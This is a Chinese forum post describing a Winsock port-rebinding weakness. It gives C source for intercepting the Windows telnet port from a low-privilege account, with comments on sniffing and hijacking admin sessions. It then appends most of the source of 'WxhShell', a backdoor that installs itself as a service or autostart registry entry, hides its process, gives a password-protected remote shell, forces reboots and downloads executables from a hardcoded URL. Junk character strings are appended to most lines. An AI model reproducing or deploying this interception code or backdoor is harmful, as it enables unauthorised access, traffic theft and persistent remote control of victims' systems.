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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *hvC0U@3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i@m@]-2  
G nPrwDB  
  saddr.sin_family = AF_INET; m"/ o4  
w&[&ZDsK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ISHzlEY  
W"n0x8~sV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K 7 OIT2-  
F87/p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 urhOvC$a  
A@<a')#>)  
  这意味着什么?意味着可以进行如下的攻击: ?Gqq]ozm  
z3Zo64V~7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q].p/-[(  
(Cb;=:3G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \"pp-str  
Mj6 0?k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A9_} RJ9  
!9t,#?!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WCD)yTg:ES  
z50P* eS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2!Qg1hM  
^).  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iY*fp=c9  
Y*/e;mG.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LU $=j  
b.j$Gna>Q  
  #include  alH6~  
  #include =&I9d;7  
  #include 4w5);x.  
  #include    #w@V!o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Qo~|[]GE  
  int main() J'C9}7G  
  { ;-AC}jG  
  WORD wVersionRequested; t>! Ok  
  DWORD ret; 46##(4RF  
  WSADATA wsaData; tj4/x7!  
  BOOL val; 3O*^[$vM  
  SOCKADDR_IN saddr; &u2H^ j  
  SOCKADDR_IN scaddr; C2{*m{ D  
  int err; T5Iz{Ha  
  SOCKET s; p1UYkmx[  
  SOCKET sc; UvR.?js(O  
  int caddsize; sBk|KG  
  HANDLE mt; 7 !dj&?  
  DWORD tid;   m6uFmU*<M}  
  wVersionRequested = MAKEWORD( 2, 2 ); *#9?9SYSk  
  err = WSAStartup( wVersionRequested, &wsaData ); [Ob09#B%:5  
  if ( err != 0 ) { ^r~O*  
  printf("error!WSAStartup failed!\n"); =P%?{7  
  return -1; ;pj,U!{%s\  
  } -}u1ZEND  
  saddr.sin_family = AF_INET; " GY3sam  
   !bs5w_@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mw&'@M_(7  
{T-=&%||  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x[=,$;o+  
  saddr.sin_port = htons(23); 3Cgv($xl&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "5204I  
  { iPdS>e e  
  printf("error!socket failed!\n"); Re+oCJ  
  return -1; I?RUVs  
  } I? ="Er[g}  
  val = TRUE; >n3ig~0d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p:V1VHT,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M`n0 q y  
  { y+p"5s"  
  printf("error!setsockopt failed!\n"); D#P]tt.Z   
  return -1; Ma4eu8  
  } vi.INe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .W\JvPTC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y-lwS-Ii  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OLo?=1&;;  
n&,X ']z.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aJ@lT&.  
  { fr'DV/T  
  ret=GetLastError(); rJh$>V+ '  
  printf("error!bind failed!\n"); d_!}9  
  return -1; CaV@<T  
  } +p[O|[z  
  listen(s,2); +/ {lz8^,  
  while(1) <0;G4fE7[H  
  { d3\KUR^  
  caddsize = sizeof(scaddr); BiDyr  
  //接受连接请求 4V c``Um  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O`$\P lt|v  
  if(sc!=INVALID_SOCKET) +koW3>  
  { >{l b|Vx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KrR`A(=WL  
  if(mt==NULL) LP !d|X  
  { B2Rpd &[  
  printf("Thread Creat Failed!\n"); fw VI%0C@  
  break; "!_vQ^y  
  } R;pIi/yDRe  
  } BNe>Lko  
  CloseHandle(mt); ~^'WHuz Py  
  } U{qwhz(  
  closesocket(s); ^q`RaX)  
  WSACleanup(); kZhd^H.  
  return 0; IwBO#HR~)  
  }   S=W^iA6>  
  DWORD WINAPI ClientThread(LPVOID lpParam) wwv+s~(0  
  { )3R5cq  
  SOCKET ss = (SOCKET)lpParam; v_WF.sb~  
  SOCKET sc; 8H1&=)M=  
  unsigned char buf[4096]; QeN7~ J  
  SOCKADDR_IN saddr; );h  
  long num; XD" 4t4~>  
  DWORD val; @+1AYVz(k  
  DWORD ret; 6J_$dzw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZuZCIqN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gW^4@q  
  saddr.sin_family = AF_INET; p"7[heExw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HYG1BfEaW  
  saddr.sin_port = htons(23); O\gVB!x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &-w.rF@  
  { jcjl q-x  
  printf("error!socket failed!\n"); 7{l~\] 6d  
  return -1; C4GkFD   
  } OO'zIC<z  
  val = 100; @iMF&\KC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) # 2FrP5rC  
  { xB]^^ NYE=  
  ret = GetLastError(); a_]l?t  
  return -1; CMyz!jZ3  
  } #2lvRJB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +=d=  
  { 11 k}Ly  
  ret = GetLastError(); B~M6l7^?  
  return -1; =p7id5"  
  } XL9-N?(@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Sn^M[}we  
  { t BG 9Mn  
  printf("error!socket connect failed!\n"); ;JMmr-@  
  closesocket(sc); d^v.tYM$N  
  closesocket(ss); k2.k}?w!JO  
  return -1; p$ETAvD  
  } j/F('r~L  
  while(1) 2kk; z0f  
  { A`Rs n\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F\v~2/J5v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =d iGuI B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rg=Ym.  
  num = recv(ss,buf,4096,0); K`j:F>b  
  if(num>0) aL&9.L|1 g  
  send(sc,buf,num,0); NTO.;S|2%  
  else if(num==0) qq_ZkU@xg  
  break; mB6%. "  
  num = recv(sc,buf,4096,0); 5iI(A'R[7  
  if(num>0) j,SZJ{ebXg  
  send(ss,buf,num,0); yqtaQ0F~  
  else if(num==0) a8G<x <  
  break; AX'-}5T=  
  } L "'d(MD  
  closesocket(ss); 6.$z!~8  
  closesocket(sc); .,U4 ATO  
  return 0 ; 9Zmq7a E  
  } w~jm0jK]  
[@B!N+P5;  
A_e5Vb ,u.  
========================================================== EcSu[b  
(uy\~Zb  
下边附上一个代码,,WXhSHELL &Nw|(z&$  
bE@Eiac  
========================================================== XX "3.zW  
Sqyju3Yp  
#include "stdafx.h" 8J- ?bo  
Z6Z/Y()4Tl  
#include <stdio.h> xP;>p| M  
#include <string.h> .<xD'54  
#include <windows.h> yq<W+b/  
#include <winsock2.h> :7JP(j2  
#include <winsvc.h> Z }Q/u^Z  
#include <urlmon.h> a;nYR5f  
U.b|3E/^  
#pragma comment (lib, "Ws2_32.lib") 8rFP*K9  
#pragma comment (lib, "urlmon.lib") }n#$p{e$i  
=Zsxl]h   
#define MAX_USER   100 // 最大客户端连接数 e**'[3Y  
#define BUF_SOCK   200 // sock buffer *65~qAd  
#define KEY_BUFF   255 // 输入 buffer ( z F_<  
\hb$v  
#define REBOOT     0   // 重启 Ts|;5ya5m  
#define SHUTDOWN   1   // 关机 [-81s!#mkw  
W^S]"N0u  
#define DEF_PORT   5000 // 监听端口 VR A+p?7-  
A/fM30  
#define REG_LEN     16   // 注册表键长度 S v#,L8f  
#define SVC_LEN     80   // NT服务名长度 MZh?MaBz06  
SQ]M"&\{y  
// 从dll定义API i70\`6*;B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L/%{,7l<^?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -^;,m=4{3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uz[#ye  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'A\0^EvVv  
O*B9 Bah  
// wxhshell配置信息 Snp(&TD<<  
struct WSCFG { ~V?\@R:g  
  int ws_port;         // 监听端口 }<w9Jfr"X  
  char ws_passstr[REG_LEN]; // 口令 %qqeL   
  int ws_autoins;       // 安装标记, 1=yes 0=no tB4yj_ZF  
  char ws_regname[REG_LEN]; // 注册表键名 qPJSVo  
  char ws_svcname[REG_LEN]; // 服务名 %K06owV(S)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +Jn\`4/J:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0ia-D`^me  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @+)T"5_Y[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]1|7V|N6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \q24E3zS&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tK'9%yA\  
qSD3]Dv"  
}; B<$6Dj%L  
-%K}~4J  
// default Wxhshell configuration &%k_BdlkQ  
struct WSCFG wscfg={DEF_PORT, St> E\tXp  
    "xuhuanlingzhe", Goy[P2m  
    1, +^J;ic  
    "Wxhshell", '"ze Im~  
    "Wxhshell", 5B8fz;l= B  
            "WxhShell Service", jqTK7b  
    "Wrsky Windows CmdShell Service", P3Ah1X7W"C  
    "Please Input Your Password: ", v |pHbX  
  1, aSJD'u4w.a  
  "http://www.wrsky.com/wxhshell.exe", kho0@o+'^  
  "Wxhshell.exe" "gDk?w  
    }; JE*?O*&|Q  
:<0lCj  
// 消息定义模块 wyAh%'V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p6)6Gcx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; npbf>n^R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~DB:/VSmu  
char *msg_ws_ext="\n\rExit."; wAzaxeV=  
char *msg_ws_end="\n\rQuit."; jIHY[yDT  
char *msg_ws_boot="\n\rReboot..."; q./jYe  
char *msg_ws_poff="\n\rShutdown..."; Y$j !-l5z  
char *msg_ws_down="\n\rSave to "; hewc5vrL  
[D<(xr&N%  
char *msg_ws_err="\n\rErr!"; &zVXd  
char *msg_ws_ok="\n\rOK!"; IlI5xkJ(  
Mii&doU  
char ExeFile[MAX_PATH]; ^EW6}oj[  
int nUser = 0; NqFfz9G)  
HANDLE handles[MAX_USER]; v:>sS_^  
int OsIsNt; [biz[ fm  
Zw%:mZN  
SERVICE_STATUS       serviceStatus; +UTBiB R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; vWJOvM2  
{~(XO@;b  
// 函数声明 fjuPGg~  
int Install(void); *#@{&Q(Qh  
int Uninstall(void); ,:V[H8 ?  
int DownloadFile(char *sURL, SOCKET wsh); 1:./f|m  
int Boot(int flag); I?%#`Rvu  
void HideProc(void); iU=:YPE+ .  
int GetOsVer(void); [;'$y:L=g  
int Wxhshell(SOCKET wsl); !ZCxi  
void TalkWithClient(void *cs); bX5/xf$q  
int CmdShell(SOCKET sock); /len8FRf  
int StartFromService(void); beV+3HqB8  
int StartWxhshell(LPSTR lpCmdLine); DiZv sc  
#!_ViG )2^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ="Az g8W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <A`SC;k\u  
km`";gUp>  
// 数据结构和表定义 Pi,86?  
SERVICE_TABLE_ENTRY DispatchTable[] = iuM ,a F  
{ rsw= a_S  
{wscfg.ws_svcname, NTServiceMain}, x8wsx F  
{NULL, NULL} w^7[4u4  
}; X76rme  
_6]CT0  
// 自我安装 sqRvnCD!  
int Install(void) ,ZO?D|M1  
{ XB:E<I'q!3  
  char svExeFile[MAX_PATH]; R+/kx#^  
  HKEY key; /R6\_oM  
  strcpy(svExeFile,ExeFile); /N./l4D1K-  
p6Ia)!xOGF  
// 如果是win9x系统,修改注册表设为自启动 BE0Xg  
if(!OsIsNt) { %;Z_`W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A,7* 52U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .hoVy*I  
  RegCloseKey(key); hVJ}EF 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d4A:XNKB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q#&6J=}  
  RegCloseKey(key); B&EUvY '  
  return 0; "-G7eGQ  
    } $H/: -v  
  } Tl?jq]  
} 3J3wKw!`  
else { 5B3sRF}  
Fa{[kJ8z  
// 如果是NT以上系统,安装为系统服务  _BCq9/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y"K[#&,0  
if (schSCManager!=0) yD0DPtti  
{ 'c >^Aai  
  SC_HANDLE schService = CreateService zqRps8=  
  ( ^ 7)H;$  
  schSCManager, Z]Cd>u  
  wscfg.ws_svcname, IL?"g{w  
  wscfg.ws_svcdisp, *fLVzYpo  
  SERVICE_ALL_ACCESS, azRp4~2?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S]4!uv^y  
  SERVICE_AUTO_START, N,F[x0&?  
  SERVICE_ERROR_NORMAL, a,n#E!zT?w  
  svExeFile, 4]xD-sc  
  NULL, lcfs 1].  
  NULL, uE.. 1N&*  
  NULL, NZ+TTMv  
  NULL, "od 2i\  
  NULL =t|,6Vp  
  ); bY~V?yNgKM  
  if (schService!=0) I y5)SZ'  
  { \"Qa)1 |  
  CloseServiceHandle(schService); uOh  
  CloseServiceHandle(schSCManager); LF+E5{=:R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a?X@ D<.;  
  strcat(svExeFile,wscfg.ws_svcname); v[jg|s&6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3wPUP+)c7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >3I|5kZ6  
  RegCloseKey(key); ^t`0ul]c  
  return 0; y6H`FFqK  
    } ws$kwSHq  
  } 8LY^>.  
  CloseServiceHandle(schSCManager); )d{fDwrx1  
} w ,0OO f  
} 3k/X;:,.  
hdH3Jb_hl(  
return 1; FgR9$ is+  
} B& 5Md.h  
u!t<2`:h  
// 自我卸载 JC/nHM  
int Uninstall(void) }yd!UU  
{ 1`~.!yd8(  
  HKEY key; J M;WCV%NM  
5d-rF:#  
if(!OsIsNt) { oS<*\!&D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+x$LkP  
  RegDeleteValue(key,wscfg.ws_regname); [&lH[:Y#  
  RegCloseKey(key); o;OEb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p]7IoO -@  
  RegDeleteValue(key,wscfg.ws_regname); n-OQCz9Xl  
  RegCloseKey(key); m<J:6^H@  
  return 0; *0_Q0SeE,o  
  } +.uQToqy  
} VWk{?*Dp  
} f`[E^ zj  
else { *De'4r 2  
BP1<:T'.q`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J"XZnb)E=  
if (schSCManager!=0) K.b :ae^k  
{ F4IU2_CnPD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vb9C&#  
  if (schService!=0) v]}\Ns/  
  { x]IJ;  
  if(DeleteService(schService)!=0) { O0eM*~zI  
  CloseServiceHandle(schService); StiWa<"c  
  CloseServiceHandle(schSCManager); 1I40N[PE)  
  return 0; |w5,%#AeO$  
  } WS%yV|e  
  CloseServiceHandle(schService); jVqpokWH  
  } |<MSV KW  
  CloseServiceHandle(schSCManager); k:N/-P&+  
} LG??Q+`l  
} s@ 6Jz\<E  
`^|l+TJG  
return 1; U/_hH*N"!  
} RrdLh z2N  
OP\L  
// 从指定url下载文件 $oPc,zS-gL  
int DownloadFile(char *sURL, SOCKET wsh) ,wngS=  
{ hoLA*v2<  
  HRESULT hr; t/l<X]o  
char seps[]= "/"; P(a}OlG  
char *token; %D~Mij  
char *file; g8@F/$HY  
char myURL[MAX_PATH]; Lyit`j~yH  
char myFILE[MAX_PATH]; FrE#l.)?!  
!'B='].  
strcpy(myURL,sURL); \u;`Lf  
  token=strtok(myURL,seps); l hST%3Ld  
  while(token!=NULL) +,j6dYub  
  { IR8yE`(h  
    file=token; 7y_<BCx h  
  token=strtok(NULL,seps); \ _?d?:#RD  
  } T1'\!6_5  
5=R]1YI~$  
GetCurrentDirectory(MAX_PATH,myFILE); -aV( 6i*n  
strcat(myFILE, "\\"); Q 9E.AN  
strcat(myFILE, file); &y7xL-xP  
  send(wsh,myFILE,strlen(myFILE),0); +k[w)7Q  
send(wsh,"...",3,0); WpRM|"CF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hE<Sm*HU  
  if(hr==S_OK) Wfy+9"-;s  
return 0; ^x_$%8  
else E'NS$,h  
return 1; 2jxIr-a1G  
}(,{^".[}  
} h\Q@zR*0a  
e3?z^AUXm  
// 系统电源模块 wuM'M<J@  
int Boot(int flag) u4bVp+  
{ qh6rMqq  
  HANDLE hToken; }0iHf'~DH*  
  TOKEN_PRIVILEGES tkp; Xz9[0;Q  
>?6HUUQ  
  if(OsIsNt) { JpxQS~VX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GRaU]Z]ck  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g's!\kr  
    tkp.PrivilegeCount = 1; ~Yc!~Rz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D4uAwmc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  V^rL  
if(flag==REBOOT) { 5=%KK3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iio-RT?!  
  return 0; Kmw #Q`  
} .Lu3LVS  
else { )PW|RW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EY:H\4)  
  return 0; p}5413z5Z=  
} SpYmgL?wJ  
  } @;N(3| n7  
  else { i% , 't  
if(flag==REBOOT) { xLfv:Rp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K\59vtga  
  return 0; R1eWPtWs  
} /Gn0|]KI  
else { X{<taD2~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Qa|9G,b  
  return 0; WW2hwB (  
} i0J`{PbI  
} %wI)uJ2  
;8^(Z  
return 1; S _ UAz  
} =LGSywWM9  
g/i%XTX>  
// win9x进程隐藏模块 1 -C~C]&  
void HideProc(void) Ob}XeN(L3  
{ L u'<4 R  
@#$(Cs*{]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p1K]m>Y{?  
  if ( hKernel != NULL ) ei{tW3 H$  
  { 5&O%0`t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y=g]\%-PB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h=JW^\?\]  
    FreeLibrary(hKernel); '@Yp@ _  
  } zqBzataR:  
\ 9iiS(e  
return; gNc;P[  
} gS@<sO$d>  
y.6/x?Qc  
// 获取操作系统版本 Z0<s -eN:  
int GetOsVer(void) w=a$]`  
{ I)s_f5'  
  OSVERSIONINFO winfo; )Y9\>Xj7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x 4sIZe+  
  GetVersionEx(&winfo); 0L1sF'ZN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )!caOGvhJ  
  return 1; r-*6# "  
  else GN:|b2 "  
  return 0; t`R{N1  
} ]!~?j3-k Q  
 m l@% H  
// 客户端句柄模块 V|[NL4  
int Wxhshell(SOCKET wsl) +|7N89l  
{ +!!G0Zj/  
  SOCKET wsh;  K+XUC  
  struct sockaddr_in client; %5DM ew  
  DWORD myID; d3S Me  
SynRi/BRmw  
  while(nUser<MAX_USER) ?u/UV,";y  
{ {?2|rv)  
  int nSize=sizeof(client); 'W>y v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <RZqs  
  if(wsh==INVALID_SOCKET) return 1; #fHnM+  
3bR%#G%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^SKHYo`,,N  
if(handles[nUser]==0) )rt%.`  
  closesocket(wsh); SMJRoK3  
else E`<ou_0N@q  
  nUser++; k_ywwkG9lU  
  } <VutwtA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j"aY\cLr t  
4y?n62N8$  
  return 0; C/#pK2xY  
} 'Cz*p,  
jD}h`(bE  
// 关闭 socket ?6{g7S%  
void CloseIt(SOCKET wsh) kS=nH9  
{ dUt4] ar  
closesocket(wsh); ]!@=2kG4  
nUser--; RA[%8Rh)  
ExitThread(0); 12m-$/5n+  
} Uzc p  
u[Si=)`VPk  
// 客户端请求句柄 `JpFqZ'58  
void TalkWithClient(void *cs) 6vR6=@(`>  
{ }qhYHC  
}!R*Q`m  
  SOCKET wsh=(SOCKET)cs; !{+.)%d'g  
  char pwd[SVC_LEN]; \AH5 zdK  
  char cmd[KEY_BUFF];  _cj=}!I  
char chr[1]; 0"T/a1S7bl  
int i,j; ,+4T7 UR  
U]_WX(4 @  
  while (nUser < MAX_USER) { G5K?Q+n   
:z&kbG  
if(wscfg.ws_passstr) { ir>h3Zk   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H9_iTGBQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2f@Cy+W'[  
  //ZeroMemory(pwd,KEY_BUFF); m'"H1~BW  
      i=0; l>`66~+s,`  
  while(i<SVC_LEN) { }^$1<GT  
Ry"4v_e9  
  // 设置超时 B{D4.!a  
  fd_set FdRead; a:`<=^:4,  
  struct timeval TimeOut; a$Y{ut0t(  
  FD_ZERO(&FdRead); T *PEUq  
  FD_SET(wsh,&FdRead); dcD#!v\0  
  TimeOut.tv_sec=8; & rD8ng+$  
  TimeOut.tv_usec=0; D4|Ajeo;1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /4 OmnE;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "~._G5i.  
{i?G:K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wWfj#IB;R  
  pwd=chr[0]; vmrs(k "d#  
  if(chr[0]==0xd || chr[0]==0xa) { {*TB }Xsr,  
  pwd=0; -m=A1~|7  
  break; yiI oqvP  
  } 9d-'%Q>+  
  i++; B["+7\c<~  
    } /|i*'6*  
fCF.P"{W"  
  // 如果是非法用户,关闭 socket X&LJ"ahK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v[{7\Hha  
} -3v\ c~  
5N%d Les  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #jG?{j3;?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =E%@8ZbK  
s(5hFuyg  
while(1) { ;CF:cH*  
*pSnEWwE  
  ZeroMemory(cmd,KEY_BUFF); g3&nxZ  
:q*w_*w  
      // 自动支持客户端 telnet标准   R6o  D  
  j=0; o5DT1>h  
  while(j<KEY_BUFF) { jOrfI-&.G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Fpn*]x  
  cmd[j]=chr[0]; QOYMT( j  
  if(chr[0]==0xa || chr[0]==0xd) { N{Z+  
  cmd[j]=0; ej&.tNvq  
  break; 9X=<uS  
  } [f6BA|   
  j++; }u3|w0~c)  
    } Nc{&AV8Y_v  
fxoEK}TM  
  // 下载文件 0E!-G= v  
  if(strstr(cmd,"http://")) { `'<$N<!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {}ADsh@7d'  
  if(DownloadFile(cmd,wsh)) WQ[n K5#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@hUmrl  
  else `4'=&c9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R2a99#J  
  } 2p\xgAW?  
  else { /7Pqy2sgE  
uGb+ *tD  
    switch(cmd[0]) { U'(zKqC   
  H@G$K@L  
  // 帮助 'G>XI;g  
  case '?': { L@s6u +uu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w)zJ $l  
    break; em3+V  
  } Y * rujn{  
  // 安装 b3R( O|  
  case 'i': { Kmaz"6A  
    if(Install()) l~o!(rpX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>54?4{|.  
    else 3 mAizq3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0>td[f  
    break; XWS]4MB+vm  
    } |TM n  
  // 卸载 d/OP+yzgZ  
  case 'r': { e3TKQ (  
    if(Uninstall()) -"JmQ Fha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Ce=h+l  
    else vbeE}7 *2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jIe /X]  
    break; ~ E6e~  
    } y.D+M$f  
  // 显示 wxhshell 所在路径 NWFh<  
  case 'p': { =KOi#;1  
    char svExeFile[MAX_PATH]; hIV]ZYbH  
    strcpy(svExeFile,"\n\r"); 6JZ>&HA  
      strcat(svExeFile,ExeFile); E9j<+Ik  
        send(wsh,svExeFile,strlen(svExeFile),0); -_5Dk'R#`  
    break; 8CUtY9.  
    } iD|~$<9o  
  // 重启 '%ilF1#  
  case 'b': { bS~Y_]B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b:hta\%/2  
    if(Boot(REBOOT)) ydO+=R0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _xePh  
    else { 1q-;+Pd;  
    closesocket(wsh); *6AV^^  
    ExitThread(0); o [V8h @K)  
    } }vU/]0@,E  
    break; oJQS&3;/r  
    }  EG`AkWy  
